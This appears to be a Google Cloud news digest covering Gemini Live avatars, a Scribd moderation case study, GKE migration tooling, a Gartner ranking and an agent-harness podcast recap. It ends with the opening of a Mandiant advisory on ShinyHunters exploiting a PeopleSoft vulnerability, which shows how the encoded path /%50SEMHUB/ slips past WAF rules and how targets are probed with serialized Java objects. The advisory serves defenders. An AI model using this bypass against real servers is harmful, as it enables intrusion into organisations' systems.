GCP News - 2026-09-25

Following our announcement of Gemini 3.8 Live and Gemini 3.8 Live Extended Thinking last week, we are thrilled to share that Gemini 3.8 Live with Live Avatar is now generally available in Gemini Enterprise. First previewed at Google Cloud Next 2026, the technology is now officially ready for enterprise production.

As enterprise voice AI evolves beyond basic speed and cost metrics, our priority has shifted to making each interaction even higher quality. Gemini 3.8 Live already delivers a native speech-to-speech foundation for fluid, responsive dialogue. The Live Avatar feature brings an interactive visual presence to conversational video agents across web, mobile, and interactive kiosks. Together, you’ll have access to:  

1. Video avatars: Conversational video with the Live Avatar feature can generate video avatars with synchronized lip-syncing. Note: Custom avatar feature is available via allowlist only.   
2. Fluid dialogue: Native speech-to-speech means more natural interruption recovery without dropping conversation context or backend transactions.
3. Tool calling: It executes tools and API calls in the background while continuing the conversation, so the model can acknowledge requests and keep chatting while tasks finish in the background.
4. Breaks language barriers: Gemini 3.8 Live understands and speaks 97 languages, with automatic language detection.
5. Make it easy for agents to see what your user sees: Live visual understanding can process live camera feeds and screen shares alongside audio, all at the same time. 

Though Gemini 3.8 Live Extended Thinking remains in private preview, Gemini 3.8 Live with Live Avatar is now available with US and EU endpoints, with provisioned throughput, enterprise compliance, and strict data governance. Try the model and its features in Gemini Enterprise, and start building now with API. 

Trust and transparency at its core

To safeguard identity and prevent misuse, customers can deploy from a library of curated, pre-built avatars, while custom avatar creation is gated behind a strict enterprise allowlisting and verification process. Furthermore, all generated audio and video streams carry imperceptible SynthID watermarks, ensuring AI-generated content remains transparent and verifiable.

Three demos of Gemini 3.8 Live with Live Avatar in action

#1: Interactive custom avatar

^{Create an interactive custom avatar in a step-by-step process} 

Watch how Gemini 3.8 Live makes it possible to build a custom avatar by adding system instructions, uploading a single reference photo and audio file sample. 

Demo #2: Live video understanding in a voice-first claims intake

^{Streamline claims intake with live video understanding using Gemini 3.8 Live}

In this demo, you’ll see a common use case come to life using Gemini 3.8 Live: an intake agent. In this scenario, we chose an insurance claims agent. You talk and show the damage on camera, and the claim notebook fills itself in as you go. In the background, an ADK agent team checks the policy, applies the intake rules, and builds the adjuster packet. To dive deeper, check out the open-source code.

#3: A real-time voice AI agent with Google ADK and Gemini Live API

^{Build a live voice agent using Google ADK and Gemini Live API}

See how developers can use Agent Development Kit (ADK) to define agents, manage runners and session memory, and stream real-time audio directly to the Gemini Live API without a traditional speech-to-text pipeline.

How our customers are innovating with Gemini 3.8 Live with Live Avatar

Scribd, Inc. is home to one of the world's largest collections of human-created content. 

Scribd’s  products leverage one of the world's largest collections of human-created content and intelligent tools to help people move from information access to real understanding and application.

This past year, Scribd used Gemini's native PDF understanding and Gemini Enterprise batch prediction to run trust and safety classification across its entire user-generated content corpus of more than 400 million documents, spanning over 12 billion pages, in a matter of months.

Here were the results: 

• Classified 400M+ user-uploaded documents (12B+ pages of text and images) across Scribd and Slideshare

• Completed the corpus-wide backfill in a matter of months, with Google Cloud scaling batch throughput to meet the timeline

• Native PDF input meant more than 99% of the corpus was processed as-is, with no OCR, rendering, or screenshotting pipeline to build

• Gemini Enterprise’s batch prediction at a 50% discount to interactive pricing made LLM classification viable at corpus scale

Trust and safety at the scale of an entire corpus

Scribd, Inc. is the parent company to four distinct products: Scribd, Slideshare, Everand, and Fable. Across Scribd and Slideshare, hundreds of millions of user-uploaded PDFs, presentations, and documents help people find information, build understanding, and finish projects. With that scale comes responsibility. We aim to balance access with protecting our communities. We leverage a mix of human and automated methods to review and best ensure the content on our platforms complies with our community rules. As the corpus continues to grow and technology evolves, this challenge requires even more resources.

Understanding a document requires reading its text and its images together, in context. Classification has to work across all possible use cases, all possible languages, all possible contexts. There is no single solution that can translate cleanly across all of it. And each policy area traditionally demanded its own specialized detection model, which meant either years of in-house engineering effort or specialized vendor solutions that don't fit the economics of a 400-million-document backfill. The team evaluated several off-the-shelf moderation tools and open models, but none delivered the quality they needed at their scale.

“This is a genuinely hard problem that we have been working on for a long time. Every category of content behaves differently, and historically each one required its own specialized solution. Gemini collapsed all of that into one model, one prompt, and one pipeline.” – Sachin Sebastian, Senior Engineering Manager, Scribd, Inc.

Why Gemini: PDFs are a first-class input

The turning point was realizing that Gemini treats Scribd's corpus the way it actually exists: as PDFs. Gemini accepts PDF input natively and reads each page as both text and image, so a single multimodal model could evaluate everything from dense text documents to image-heavy presentations, with no OCR pipeline, page rendering, or screenshot infrastructure in between. Because Gemini processes each PDF page at a fixed, predictable token count, costs scale linearly and stay low even across 12 billion pages.

After benchmarking model families and versions, the team selected Gemini 2.5 Flash Lite as the classification workhorse, with Gemini 2.5 Pro serving as an LLM judge in a full second consistency pass over the corpus to validate output quality. In the team's evaluations, Gemini's multimodal understanding caught visual policy signals that text-only moderation endpoints routinely missed.

“Gemini's peculiar advantage is that it meets our content in its native format. It reads the text, layout, and images of a PDF directly. More than 99% of our corpus went in exactly as it lives on our site without any pre-processing” – Sachin Sebastian, Senior Engineering Manager, Scribd, Inc.

Batch prediction, simple enough to bet the corpus on

The execution model was deliberately simple. Documents were staged in Cloud Storage, submitted to Gemini Enterprise batch prediction, and the results flowed back into the team's data platform for downstream analysis. There was no serving infrastructure to operate, no rate-limiting logic to write, and no GPU capacity to manage.

Batch pricing, at 50% below interactive rates, is what made the economics work at corpus scale. The team later layered on Gemini Enterprise’s implicit prefix caching, restructuring prompts so the static policy text hit the cache, which pushed efficiency further with no loss in classification quality.

A partnership measured in throughput

Processing 400 million documents is ultimately a throughput problem, and this is where the partnership with Google Cloud mattered most. Scribd's team connected directly with Google Cloud engineering and product to plan the backfill, advise on region strategy, and make sure the right capacity was in place ahead of launch.

As the backfill ramped up, Google Cloud worked closely with the team to scale throughput to the demands of the project. The effect was dramatic: batch jobs began completing far faster than projected, and for much of the run Gemini Enterprise was not the bottleneck. Scribd's own upstream pipeline was.

“Google Cloud didn't just answer support tickets. They partnered with us on the backfill, and there were stretches where Gemini Enterprise finished work faster than our own systems could produce it. That is a good problem to have.” – Sachin Sebastian, Senior Engineering Manager, Scribd, Inc.

What's next

The backfill is now the foundation of an ongoing program: newly uploaded content flows through the same Gemini classification pipeline, keeping the corpus continuously evaluated rather than periodically cleaned. And because the pattern of PDFs in Cloud Storage, Gemini batch prediction, and results in the lakehouse proved so operationally simple, the team is applying it to a growing set of content-understanding workloads across its platforms.

“This project changed how we think about our roadmap. Work we had classified as multi-year, multi-team efforts is now a prompt, a batch pipeline, and a few weeks of runtime.” – Sachin Sebastian, Senior Engineering Manager, Scribd, Inc.

^{This work was a collaboration between Google Cloud and Scribd. We'd like to thank everyone involved for their support throughout this project:}

• ^{Scribd Engineering: Anish Kumar, Jeanie Lam, James Watkins, Hima Alladi}
• ^{Scribd Applied Research: Rafael Pedrosa Lacerda de Melo, Kara Killough, Eric Chang}
• ^{Scribd Product: Seyoon Kim, Nicole Pauls}
• ^{Google Cloud AI Batch Inference team: James Liu, Digvijay Singh, Wei-chung Wang, Yan Wang, Kun Shi} 
• ^{Google Cloud Customer Engineer: Jennifer Liang}

Enterprises are increasingly standardizing on Google Kubernetes Engine (GKE) to run their most critical and AI-driven workloads. From Cloud Storage FUSE for high-throughput data access to custom compute classes (CCC) and advanced GPU slicing, GKE provides the scale and efficiency required for modern applications.

However, migrating complex Kubernetes environments from AWS EKS to GKE has traditionally been a daunting, high-friction engineering endeavor. Your platform teams must manually dissect sprawling infrastructure-as-code (IaC), navigate cloud-specific architectural differences, and build custom translation scripts.

While your engineering teams often experiment with general-purpose LLMs to draft conversions, ad-hoc prompting quickly can become an operational trap. Raw models hallucinate non-existent resource properties, drop critical network or identity configurations, and lose context across interdependent files. The time platform engineers spend auditing, untangling, and debugging model errors ends up cannibalizing any upfront speed gains, creating manual toil and unpredictability. 

Today, we are excited to announce the open-source release of GKE agentic migration, a purpose-built agent plugin that replaces brittle, ad-hoc prompting with an AI-assisted migration pipeline protected by deterministic guardrails. 

“For large enterprise clients, the biggest barrier to cloud modernization is execution risk and unpredictability. Unlike raw chat prompts that lose context and hallucinate configurations, Google’s GKE agentic migration pairs the speed of generative AI with the deterministic guardrails enterprises need: structured state persistence, multi-persona boundaries between platform and app teams, and non-negotiable human approval gates. It gives our global engineering practice a provable, compiler-grade migration factory that slashes delivery risk.- Rahul Shrivastava, EVP, Persistent

The challenges of infrastructure migrations

When talking to customers about their infrastructure migration journeys, we consistently hear about several governance challenges:

• The automation trust gap: Refactoring Kubernetes configurations manually can be agonizingly slow. Yet, using generic AI coding assistants introduces unacceptable risk. Standard LLMs can hallucinate infrastructure code, use deprecated API fields, or omit critical security rules. Generating code that is "almost right" simply shifts the bottleneck from writing code to debugging it.

• The danger of live cluster mutability (ClickOps): Legacy migration tools often connect directly to live clusters and deploy via API calls. This bypasses the organization's Git repository (the true source of truth), breaks CI/CD pipelines, and makes rollbacks incredibly difficult.

• The siloed handoff bottleneck: Migrations are often long-running, multi-week operations. Platform engineers build the landing zone and your application developers migrate the workloads. Standard AI tools lose context across the handoff.

• The fragmented toolchain: Backup tools like Velero are excellent for disaster recovery but capture exact AWS-specific configurations (like ALBs) without translating them for Google Cloud. Reverse-engineering tools, meanwhile, generate flat configurations that strip away the developer's original logical intent.

Introducing the GKE agentic migration

The GKE agentic migration addresses these challenges by combining the reasoning capabilities of LLMs with strict, deterministic tooling. Designed as a compilation of agent skills and a local Model Context Protocol (MCP) server, it uses AI to translate complex AWS EKS IaC and Kubernetes manifests directly into GKE landing zones via automated Pull Requests.

Here are the key capabilities that set the GKE agentic migration apart:

1. Hybrid verification — LLM-generated, deterministically validated. To combat dangerous IaC hallucinations, LLM workers handle the complex authoring of Terraform and Kubernetes YAML, while the server runs deterministic transforms for exact mappings such as Workload Identity annotations and image registries. Crucially, these AI-generated translations are then submitted to strict deterministic validations (e.g., terraform validate, Kubernetes manifest contracts) before they are presented to the user. This approach helps maintain safety against hallucinations while gating everything behind human-in-the-loop (HITL) approval.

2. GitOps-native PR workflows: The plugin never applies changes directly to a live cluster. Instead, it reads your source of truth, generates the target state, and opens a Pull Request. This helps route all changes through your standard human-in-the-loop (HITL) CI/CD review process. No "ClickOps."

3. Protected separation of translation vs. transport: The plugin automates the tedious logic of architectural translation, but it intentionally does not transport stateful data. To protect your most sensitive assets, the plugin generates contextual runbooks that guide your team in using purpose-built, SLA-backed tools (like Google Cloud's Database Migration Service or Storage Transfer Service).

4. Multi-persona state management: Migrations are team efforts. The plugin persists the long-running migration state.  This enables protected, asynchronous handoffs: Platform engineers establish the baseline landing zone, while app developers independently join the workspace from their own machines to translate individual workloads within permission-isolated folders.

How it works: The migration lifecycle

Under the hood, the GKE agentic migration utilizes a migration state graph of executable functions, systematically passing context down the chain. Packaged as an open-source agent plugin, there are no custom CLI binaries to install and no central control planes to manage — your team collaborates through your existing development harness, delivering validated pull requests and actionable runbooks directly into your source repositories. This provides:

• Deep EKS repository discovery: The plugin clones the source Git repository or performs a live scan of your EKS cluster, programmatically indexes the source manifests, maps dependencies, and builds an inventory
• Assessment & blocker governance: It generates a readiness report identifying architectural incompatibilities. Before design can unlock, every blocker must have an assigned owner and target resolution date. The Platform Engineer signs off on the migration boundaries before translation begins.
• Landing zone design: The plugin scaffolds the foundational Google Cloud Terraform modules (VPC, subnets, GKE cluster, org policies) based on explicit platform decisions (such as GKE Autopilot vs. GKE Standard).
• AI-assisted cloud translation: The plugin handles proprietary shifts, including translating AWS IRSA to Workload Identity, mapping ALB ingress to the Gateway API, and converting Karpenter node claims to GKE Node Auto Provisioning (NAP) or Custom Compute Classes (CCC).
• Offline validation: Generated modules and manifests are compiled and verified offline (terraform validate, manifest structure checks, and output contracts). 
• Deployment via Pull Request: The finalized configuration is verified locally and opens a PR for review. 

Getting started

The GKE agentic migration transforms cloud migrations from disjointed refactoring exercises into predictable, AI-assisted, and reviewable GitOps workflows. Ready to accelerate your journey to GKE?

• Star and clone the GKE agentic migration repository on GitHub

• Read the onboarding guide to run the plugin against a sample EKS repository.

• Join the Google Cloud Community to share feedback, ask questions, and contribute.

We’re excited and proud to share that Gartner has recognized Google as a Leader for the fourth year in a row in the 2026 Gartner® Magic Quadrant™ for Container Management, based on its Completeness of Vision and Ability to Execute. Google was positioned highest in Ability to Execute of all vendors evaluated and we believe this validates the success of our mission to deliver a container platform that’s highly optimized for both performance and efficiency. We help global customers to build and run their most demanding and complex workloads at scale, including the next generation of AI and agentic applications. 

In the accompanying 2026 Gartner Critical Capabilities for Container Management report, Google Cloud was ranked first in every use case: New Cloud Native Applications, Containerized Existing Applications, AI Training, AI Inference, Edge Applications, and Hybrid Applications.

Gartner predicts¹ that “By 2028, 95% of new AI deployments will use Kubernetes, up from less than 30% in 2025.” Containers power today’s most innovative apps and businesses — and deliver the infrastructure customers demand as they transform their businesses in the agentic era.

Google Cloud spearheaded the industry-wide cloud-native revolution when we introduced Kubernetes in 2014 and launched Google Kubernetes Engine (GKE), the world’s first managed Kubernetes service, in 2015. Our commitment to container platforms and the vibrant, innovative Kubernetes ecosystem has only grown stronger and deeper since. Alongside GKE, our serverless container platforms GKE Autopilot and Cloud Run dramatically lower operational costs and help developers deliver amazing containerized apps faster than ever before. 

The massive acceleration in enterprise AI has inspired us to redefine infrastructure management for the AI era. In 2026 so far we’ve introduced a wide range of foundational improvements to shift GKE and Cloud Run into agent-native, high-performance platforms designed for autonomous AI systems, massive inference workloads, and secure runtime isolation. Whether you’re training AI at the frontier, launching an AI startup, or leading your enterprise AI transformation, we have the container platform you need. Important highlights include:

Delivering leading performance and efficiency for AI infrastructure

• GKE predictive latency boost: Built into the GKE Inference Gateway, this ML-driven capability uses capacity-aware routing rather than static configurations to reduce Time-to-First-Token (TTFT) by up to 70%.

• GKE automatic KV Cache storage tiering: Automatically shifts KV cache data across RAM, Local SSD, and Cloud Storage. This reduces memory bottlenecks, improving TTFT by 40% via RAM offloading and increasing throughput by 70% via Local SSDs for large prompt contexts. [1]

• GKE accelerated container and model startups: GKE node spin-up times are up to 4x faster, and pod startup speeds have improved by up to 80%. Additionally, native run:AI Model Streamer integration pulls heavy models from Cloud Storage 5x faster.

• Cloud Run on-demand serverless GPU scale-to-zero: Cloud Run supports NVIDIA RTX PRO 6000 Blackwell GPUs, allowing teams to serve 70B+ parameter models on-demand. Your services can go from zero to a fully provisioned GPU — with all drivers pre-installed — in under 5 seconds. Once active inference or fine-tuning runs complete, Cloud Run automatically scales instances back to zero, eliminating idle infrastructure costs.

Evolving Kubernetes for agentic infrastructure security and scale

• GKE Agent Substrate: As an open-source, secure-by-default agent execution runtime, Agent Substrate is engineered to run millions of sandboxes with 10x higher density than standard container runtimes. Purpose-built for the era of autonomous agents, Substrate delivers sub-500ms resume operations at over 500 suspend/resume activations per second with a native zero-trust kernel and network isolation. Agent Substrate is available as an open-source solution that runs on any Kubernetes infrastructure and is optimized for GKE.

• GKE Agent Sandbox: Built on gVisor kernel-isolation technology, Agent Sandbox isolates the host environment from untrusted, multi-agent AI code execution. It provides secure execution at scale, processing up to 300 sandboxes per second with sub-second latency and delivering up to 30% better price-performance when running on Axion processors than comparable hyperscaler cloud providers. 

• GKE Dataplane V2 scalability limits: Architectural capacity bounds for GKE clusters implementing active NetworkPolicies doubled from 7,500 nodes to 15,000 nodes per cluster, supporting the massive infrastructure needs of large enterprise and AI customers.

• GKE intent-based autoscaling: GKE can now natively autoscale horizontally using application intent and custom metrics beyond basic hardware metrics. This reduces resource allocation reaction times from 25 seconds down to just 5 seconds.

• Filestore agent volumes: a new offering that attaches and detaches NFS mounts in milliseconds, allowing agents to start/resume near-instantaneously, along with native Read-Write-Many (RWX) access and POSIX-compliant file locking to enable safe multi-agent collaboration without write collisions. 

Next-gen developer experience with serverless containers

Whether you’re hosting a standard web API, running a heavy batch data job, processing an asynchronous message queue, or deploying a complex AI agent, Cloud Run handles it all under a single, unified serverless model that delivers an unmatched developer experience and maximum engineering velocity. 

• One-click prototyping in Google AI Studio: You can build and deploy full-stack applications directly within Google AI Studio, making it an exceptional environment for rapid prototyping and experimentation. With a single click, you can instantly package and publish your vibe-coded applications to Cloud Run.

• Cloud Run instances: This new primitive manages individual, addressable, long-running singleton resources with integrated Cloud Storage volume mounts, allowing persistent background agents like OpenClaw to be deployed cost-effectively. With baseline shared-CPU configurations starting at a highly predictable flat rate of ~$5.70 per month (for 1 vCPU and 1 GiB of RAM), Cloud Run instances delivers an always-on, VM-like experience while bypassing the idle-cost penalties and operational overhead of traditional VMs.

• Cloud Run sandboxes: Hard-isolated environments spin up in under 500 milliseconds to safely execute untrusted, model-generated code, protecting the host system from unauthorized access.

Take the next steps

As we reach for new heights of performance, security, and scale for our container platforms, we continue to build the future in the open. We invite you to explore Agent Sandbox and Agent Substrate today. We can’t wait to shape the future of agent infrastructure together with our customers and partners. Check out these resources to continue your learning journey:

• Download your complimentary copy of the 2026 Gartner® Magic Quadrant™ for Container Management.

• Try Agent Sandbox on GKE.

• Contribute: Join the Agent Sandbox open-source community.

• Explore Agent Substrate.

• Join us at KubeCon North America 2026 in Salt Lake City, November 9-12. For even more fun, arrive a day early for GKE Day on November 9.

• Discover why Google is also named a Leader in the 2026 Gartner® Magic Quadrant™ for Cloud-Native Application Platforms.

• Start building the future of serverless applications today at cloud.run.

^{1. Gartner report: Critical Capabilities for Container Management, 8 September 2026}

^{Gartner, Magic Quadrant for Container Management, Dennis Smith, et al, 2 September 2026
Gartner, Critical Capabilities for Container Management, By Tony Iams, Wataru Katsurashima, Lucas Albuquerque, Dennis Smith, Bhuvie Chhabra, 8 September 2026. 
Gartner and Magic Quadrant are trademarks of Gartner, Inc. and/or its affiliates.
Disclaimer: Gartner does not endorse any company, vendor, product or service depicted in its publications, and does not advise technology users to select only those vendors with the highest ratings or other designation. Gartner publications consist of the opinions of Gartner’s business and technology insights organization and should not be construed as statements of fact. Gartner disclaims all warranties, expressed or implied, with respect to this publication, including any warranties of merchantability or fitness for a particular purpose.}

In this episode of The Agent Factory, we explore the reality of building with autonomous agents alongside Ryan Lopopolo, a software engineer at Google Cloud and the person who coined the term agent harness. From throwing out manual code editors to treating team collaboration like leveling up RPG stats, Ryan breaks down how grounding models in rich context and shifting interventions left unlocks high levels of agent autonomy.

This post guides you through the key ideas from our conversation. Use it to quickly recap topics or dive deeper into specific segments with links and timestamps.

The Agent Harness - What is it?

Timestamp: [00:30]

An AI agent as we're defining it here is a large language model (LLM) plus an agent harness.

Think of the harness as everything wrapped around the LLM that isn't the model itself. For example, if you're working in Google Antigravity using Gemini 3.8 Flash, Gemini Flash is the LLM and Google Antigravity is the harness.

While an unassisted model can answer simple questions out of the box, it can't check live conditions or interact with your workspace on its own. When a user asks a question like "Why is the sky blue?", an unassisted LLM can respond without issue. However, when asked a question like "Should I wear a raincoat today?", the model can't answer on its own because it lacks the necessary data. The harness catches the intent, queries live weather tools, bundles that context back into the prompt, and hands it to the model to produce an informed answer.

Ryan Lopopolo on agent harnesses and autonomous coding

Tilde Thurium sat down with Ryan Lopopolo to discuss what it takes to run fully autonomous coding workflows in production. See the summary below!

Coining the harness and writing zero production code

Timestamp: [02:22]

The term agent harness grew out of Ryan's extensive work on autonomous coding agents, culminating in a February 2026 essay on leveraging coding models in an agent-first world. Ryan shared that he hasn't opened a traditional code editor since May of last year, maintaining that streak through his transition into Google Cloud. In this paradigm, engineers no longer author or review individual lines of syntax; instead, they operate at the level of natural language specifications and inspect the final artifacts, such as pull requests, documents, and spreadsheets. Then they determine whether the end result meets organizational standards.

Context curation and lazy prompting

Timestamp: [03:35]

Upfront harness investment pays off by allowing engineers to become lazy prompters. When the repository contains structured documentation, clear interfaces, and discoverable tools, you do not need to paste walls of text into a prompt box every morning 

"I aspire to be an incredibly lazy prompter. If I have done the job to give the model the tools and context it needs to ground itself, I don't need to write a long prompt. It figures it out."

The model uses its harness to pull relevant context, allowing it to navigate large codebases and execute complex tasks without oversight.

Shifting left: engineering best practices as autonomous guardrails

Timestamp: [05:00]

When an agent fails, developers face a whole spectrum of interventions. The most common reflex is to fiddle with the prompt or retry, but that never scales across a team.

"The simplest, smooth-brain, stupidest intervention I can think of is literally just: try my prompt again without changing anything else. But shifting left means moving interventions earlier into the development lifecycle where they are cheapest and automated: from prompts, to repo docs, to linters, to tests, and all the way to upstream evals."

Instead of hoping the model guesses right on the next turn, shifting left embeds standards directly into the environment. Linters, tests, and AGENTS.md files act as durable memory and enforcement of what you think good looks like, making sure the agent stays on the rails without needing constant hand-holding.

Leveraging established tools and determinism

Timestamp: [06:50]

Agents shine when they're handed tools that already mirror patterns heavily represented in pre-training data. Pairing models with standard command-line interfaces moves reasoning into determinism, shifting the burden of context aggregation away from the model and onto reliable tools.

Ryan also shared an environmental design trick for context efficiency: structuring markdown files so link anchors sit directly beneath their corresponding prose blocks rather than inline. This prevents context clutter and mitigates "lost in the middle" retrieval issues. Because Ryan operates exclusively by reviewing end-state artifacts, keeping documentation readable allows him to easily inspect execution runs:

"I want to be able to look at the pull request and review it. If it made a bad decision, I need to know where it went off the rails so I can whack the agent on the head and make sure it does not make that same mistake again."

Long horizons and expanding the agentic loop

Timestamp: [09:45]

The central challenge of harness engineering is ensuring that agents cohere over long time horizons. Because human organizations produce software through iterative refinement rather than single-shot prompts, agent workflows must mirror that cadence. Harness engineering uses tightly scoped, reviewable pull requests to narrow the agent's state space. Stacking these high-confidence changes end-to-end allows supervisors to gradually expand the loop size, building trust until agents can autonomously execute large-scale initiatives, including entire language migrations 

Curating agent teams like RPG stats

Timestamp: [11:58]

Rather than divvying up sprint tasks based on individual specialties, having a diverse team contribute to an agent turns it into a central producer of work that carries everyone's strengths. Ryan compared leveling up an agent's capabilities to building out a character sheet:

"[It's like] building out the stats of your RPG character. I get a new person on the team who is a React architect and boom! The attention that they pay is able to bump out the stats in front-end architecture and performance."

With that collective expertise baked into the environment, the agent can autonomously classify incoming work and activate the exact skills it needs on demand, operating as both a backend architect and a front-end specialist.

Accruing leverage in tools, not custom harnesses

Timestamp: [14:38]

For developers wondering whether to build their own custom agent harness, Ryan offered clear advice: don't build one from scratch. Standard harnesses already provide the foundational primitives: file reading, grep search, and command execution. Over-scaffolding an agent with rigid, bespoke frameworks creates technical debt and leads to sunk-cost traps when frontier models advance.

"If you focus all of your efforts on improving quality on tools and context, you can freely adopt the newest models as they come out and you'll be constantly accruing leverage into a bit of the system that will never become obsolete."

Operating Google Cloud and eliminating capability overhang

Timestamp: [16:47]

Discussing his work at Google Cloud, Ryan outlined his motivation to eliminate capability overhang: the delta between what frontier AI models are theoretically capable of and how much useful work is currently extracted in production. Because the cloud functions as a massive, programmable surface, equipping agents with direct interfaces to Google Cloud lets them manage and deploy infrastructure effectively, turning raw model capability into tangible enterprise utility.

Continually updating your priors on AI

Timestamp: [18:13]

The speed of AI development requires engineers and teams to actively unlearn old limitations and constantly reassess what these models can achieve. "It's very important to continually be updating what you think is possible with these lovely tools that we have," Ryan urged. What broke six months ago often runs effortlessly on today's frontier models. Rather than getting locked into rigid workflows, developers should build around the two highly extensible interfaces that will remain relevant across every model upgrade: tools and context.

"Agents will always need context in order to do that last mile adaptation into what you think good is. And as you can continue to... shift it to the left, in terms of increasingly capable tools which act as a form of memory and enforcement of what you think good looks like, you'll continually be amazed as the models are able to do more and more interesting things for you over time."

How To Build A Custom Harness

Next, Billy Jacobson started us off by showing how developers can customize their own agent harnesses for specific tasks.

Under the hood: Why build a custom harness?

Timestamp: [19:44]

Before jumping into code, Billy unpacked why developers should understand the mechanics of a harness rather than treating it like a black box. Recalling advice from an engineering mentor that "You can just use the framework, but a great engineer will really understand the framework", Billy explained that building a harness yourself is the best way to debug what happens when an agent breaks. You can evaluate three core design decisions for every workflow:

• Looping: How many iterations should the agent run, and what conditions trigger an exit state?

• Tools: What specific tools should the agent access, and when and how should it invoke them?

• Memory: How important is conversational and operational memory, and when should it be retrieved or compacted?

Linear Agent Harness: Deterministic Single-Pass Execution

Timestamp: [21:34]

Billy demonstrated a minimalist linear harness designed for deterministic workflows where looping is unnecessary. This pattern is ideal for targeted inspections, file transformations, or single-turn data analyses where you want a high level of determinism and need the agent to perform the exact same execution flow every single time.

Closed-Loop Agent Harness: Iterative Test-Driven Repair

Timestamp: [22:45]

When tasks demand active bug fixing and refactoring, a closed-loop harness provides the iterative reasoning required to reach a verified resolution. 

In this demo, Billy showcased an agent that applies an automated code edit to address a failing requirement, and the harness executes the unit test suite against the updated codebase. If the tests fail, the runtime captures standard failure logs and detailed stack traces, feeding those error diagnostics directly back into the agent's working memory. The process repeats continuously until all unit tests pass, backed by a five-iteration ceiling to prevent infinite loops and runaway execution costs.

Guardrail Harness with Google's Agent Development Kit (ADK)

Timestamp: [23:25]

For developers who require custom behavior without rewriting core orchestration plumbing from scratch, Google's Agent Development Kit (ADK) provides scaffolding with automated memory management and execution safeguards. 

Billy walked through an example that leverages ADK's native context compaction to summarize older conversational turns, preventing context window bloat during extended debugging runs. Custom interception hooks inspect and filter shell actions before execution, automatically stopping high-risk operations such as recursive file deletions, database drops, or unauthorized remote git pushes. This architecture gives teams fine-grained control over tool execution boundaries while avoiding the maintenance burden of bespoke harness frameworks.

The 3-Layer Agent Dev Stack: Gemini 3.8 Flash, Google Antigravity, and Google Skills

Timestamp: [25:27]

Next up, Smitha Kolan broke down why coding agents do not always require heavier reasoning models, emphasizing that high performance stems from balancing the three layers of the agent stack: Model, Harness, and Knowledge. 

"Your coding agent doesn't need a smarter model. It needs a better stack: model, harness, and knowledge. When all three click into place, everything changes."

She then walked through the three tools she's been loving recently, one for each layer of the stack.

Layer 1 | Model | Gemini 3.8 Flash: High-frequency agentic loops run between 20 and 60 sequential hops per task (inspecting files, updating functions, and executing unit tests). Because latency and API costs compound across iterations, a lightweight, responsive model like Gemini 3.8 Flash makes real-time agent loops practical without running up a massive bill.

Layer 2 | Harness | Google Antigravity with /boost: Default Antigravity handles standard navigation and component creation. On top of that, the /boost command spins up an orchestrator that coordinates specialized sub-agents in parallel and concludes with an independent audit pass before modifying files.

Layer 3 | Knowledge | Google Skills Repository: With over 19,000 GitHub stars and 100+ curated domain packages across Google Cloud, Firebase, Flutter, and Maps, this harness-agnostic repository injects precise domain context on demand, preventing agents from guessing cloud configurations 

Your turn to build

Building effective coding agents requires moving past the reflex of simply swapping in larger models. As Ryan Lopopolo's philosophy of harness engineering illustrates, true developer leverage is achieved by shifting best practices to the left and investing in rich tools, deterministic verifiers, and well-curated context that survive model upgrades. When combined with fast inference models, structured orchestration harnesses, and modular domain knowledge, agents evolve from conversational novelties into dependable, autonomous engineering partners.

Ready to put it into practice? Explore the tools and resources covered in this episode:

• Gemini 3.8 Flash: Fast, low-cost model for multi-hop agent loops.

• Google Antigravity (/boost): Orchestrator harness for parallel coding agents and verification.

• Google Skills: Modular domain knowledge for Google Cloud, Firebase, and Flutter.

• Agent Development Kit (ADK): Custom harness middleware for safety guardrails and memory compaction.

• Full episode video: The full interview and live Factory Floor code demos.

Connect with us

• Smitha Kolan → LinkedIn | YouTube | X

• Luke Schlangen → LinkedIn | website

• Ryan Lopopolo → LinkedIn | Hyperbola | X

• Tilde Thurium → LinkedIn

• Billy Jacobson → LinkedIn | X

• Mollie Pettit → LinkedIn | dev.to | X | Bluesky

Introduction 

As an update to the June 2026 post, ShinyHunters Targets Education Sector with Oracle PeopleSoft Exploit, Mandiant and Google Threat Intelligence Group (GTIG) have identified renewed mass exploitation of CVE-2026-35273 by UNC6240 (ShinyHunters), along with expanded global targeting across multiple sectors. In June, the threat actor exploited this vulnerability as a zero-day predominantly against academic institutions. This new wave of activity stems from UNC6240 modifying its exploit to bypass web application firewall (WAF) rules blocking the vulnerable Environment Management Hub (PSEMHUB) endpoint.

The threat actor bypassed these string-based WAF rules by URL-encoding a single character in the request path, requesting /%50SEMHUB/ in place of /PSEMHUB/. Many WAF and reverse proxy rules match the literal path before URL decoding, while the PeopleSoft application server decodes the request and routes it to the vulnerable servlet. This allows the threat actor to reach the endpoint on systems whose operators may have believed their WAF rules had mitigated the exposure.

Our analysis indicates that the threat actor expanded their targeting in this recent campaign, deploying web shells on dozens of systems globally, spanning higher education, technology, IT services, healthcare, agriculture, transportation, and government.

Mandiant recommends that organizations running Oracle PeopleSoft take the following immediate actions. Additional remediation and hardening guidance is included later in this post.

Figure 1: Remediation and hardening quick guide

Background: From Zero-Day to N-Day

In June 2026, we reported a UNC6240 campaign that exploited CVE-2026-35273 as a zero-day between May 27 and June 9, 2026, predominantly against higher education institutions. Oracle released an out-of-band Security Alert on June 10, 2026. Mandiant’s June guidance recommended patching and, where patching or disabling EMHub was not immediately possible, blocking external access to /PSEMHUB/* at the perimeter, noting that WAF body-inspection rules alone were insufficient.

The current campaign demonstrates that UNC6240 adapted to published defensive guidance, targeting organizations that implemented WAF rules but did not patch the vulnerability.  

Attack Lifecycle

We observed a consistent sequence of events in targeted PeopleSoft environments, progressing from discovery and verification to web shell deployment and hands-on-keyboard activity.

Target Verification

Before exploitation, targeted servers typically received five to 15 POST requests to /%50SEMHUB/hub containing a serialized Java object. Unpatched servers respond with the host operating system without writing files or disrupting the service, allowing the threat actor to quietly confirm exploitability. On hosts that the threat actor validated but did not yet exploit, organizations may see this request in logs, with no follow-on activity.

WAF Bypass

All requests addressed the vulnerable servlet through a url-encoded path. %50 is the encoded form of the character P. WAF and proxy rules that match the literal string /PSEMHUB before decoding do not match /%50SEMHUB/, while WebLogic decodes the path and serves the application normally.

Defenders should assume that threat actors may use any percent-encoded, mixed-case, or otherwise non-normalized variant of /PSEMHUB/, and should enforce blocking on the normalized path.

Exploitation

We observed two exploitation methods, both abusing Java deserialization in the PSEMHUB hub servlet:

